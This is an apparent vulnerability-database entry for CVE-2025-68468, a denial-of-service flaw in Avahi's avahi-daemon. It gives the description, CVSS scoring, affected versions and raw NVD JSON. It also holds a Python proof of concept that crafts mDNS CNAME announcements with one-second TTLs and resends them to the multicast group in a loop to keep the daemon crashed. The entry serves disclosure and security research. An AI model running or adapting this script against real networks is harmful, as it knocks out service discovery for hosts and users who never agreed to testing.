Security Vulnerability Report
中文
CVE-2025-68468 CVSS 6.5 MEDIUM

CVE-2025-68468

Published: 2026-01-12 18:15:48
Last Modified: 2026-01-16 16:52:04

Description

Avahi is a system which facilitates service discovery on a local network via the mDNS/DNS-SD protocol suite. In 0.9-rc2 and earlier, avahi-daemon can be crashed by sending unsolicited announcements containing CNAME resource records pointing it to resource records with short TTLs. As soon as they expire avahi-daemon crashes.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:avahi:avahi:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:avahi:avahi:0.9:rc1:*:*:*:*:*:* - VULNERABLE
Avahi 0.9-rc2 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68468 PoC - Avahi avahi-daemon DoS via CNAME records with short TTL Note: This is a conceptual PoC for educational purposes only. """ import socket import struct import time def create_mdns_header(transaction_id, flags, questions, answers, authority, additional): """Create MDNS header""" header = struct.pack('>HHHHHH', transaction_id, # Transaction ID flags, # Flags questions, # Questions answers, # Answer RRs authority, # Authority RRs additional) # Additional RRs return header def create_cname_record(name, ttl, rdlength, rdata): """Create CNAME record""" record = b'' record += create_dns_name(name) record += struct.pack('>HHIH', # Type, Class, TTL, RDLENGTH 5, # CNAME type 1, # IN class ttl, # TTL (use short TTL to trigger bug) rdlength) # RDLENGTH record += rdata return record def create_dns_name(name): """Create DNS name in label format""" labels = name.split('.') result = b'' for label in labels: result += bytes([len(label)]) + label.encode() result += b'\x00' # Null terminator return result def exploit_avahi_dos(target_ip='224.0.0.251', target_port=5353): """ Send malicious mDNS packet with CNAME records pointing to short TTL records """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) # Create malicious mDNS packet with CNAME records transaction_id = 0x0000 flags = 0x8400 # Response, Authoritative # CNAME record pointing to another record with short TTL cname_target = create_dns_name('target.example.local') final_target = create_dns_name('expired.example.local') # Create CNAME record with very short TTL (1 second) cname_record = create_cname_record( 'cname.example.local', ttl=1, # Short TTL - key to trigger the vulnerability rdlength=len(cname_target), rdata=cname_target ) # Create the target record also with short TTL target_record = create_cname_record( 'target.example.local', ttl=1, # Short TTL rdlength=len(final_target), rdata=final_target ) # Build complete packet packet = create_mdns_header(transaction_id, flags, 0, 2, 0, 0) packet += cname_record packet += target_record print(f"[*] Sending malicious mDNS packet to {target_ip}:{target_port}") print(f"[*] CNAME records with 1 second TTL to trigger DoS...") try: sock.sendto(packet, (target_ip, target_port)) print("[+] Packet sent successfully") # Continue sending to maintain DoS condition while True: time.sleep(0.5) sock.sendto(packet, (target_ip, target_port)) print("[*] Reinforcing attack...") except KeyboardInterrupt: print("\n[!] Attack stopped by user") finally: sock.close() if __name__ == '__main__': print("CVE-2025-68468 PoC - Avahi DoS via CNAME with Short TTL") print("=" * 60) exploit_avahi_dos()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68468", "sourceIdentifier": "[email protected]", "published": "2026-01-12T18:15:48.173", "lastModified": "2026-01-16T16:52:04.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Avahi is a system which facilitates service discovery on a local network via the mDNS/DNS-SD protocol suite. In 0.9-rc2 and earlier, avahi-daemon can be crashed by sending unsolicited announcements containing CNAME resource records pointing it to resource records with short TTLs. As soon as they expire avahi-daemon crashes."}, {"lang": "es", "value": "Avahi es un sistema que facilita el descubrimiento de servicios en una red local a través del conjunto de protocolos mDNS/DNS-SD. En 0.9-rc2 y versiones anteriores, avahi-daemon puede ser colapsado enviando anuncios no solicitados que contienen registros de recursos CNAME que lo apuntan a registros de recursos con TTL cortos. Tan pronto como expiran, avahi-daemon colapsa."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:avahi:avahi:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.9", "matchCriteriaId": "6481267F-934F-4A0C-9B25-59738E798458"}, {"vulnerable": true, "criteria": "cpe:2.3:a:avahi:avahi:0.9:rc1:*:*:*:*:*:*", "matchCriteriaId": "76971590-AEED-4CB1-B7B7-45EA8FD11524"}]}]}], "references": [{"url": "https://github.com/avahi/avahi/commit/f66be13d7f31a3ef806d226bf8b67240179d309a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/avahi/avahi/issues/683", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/avahi/avahi/security/advisories/GHSA-cp79-r4x9-vf52", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}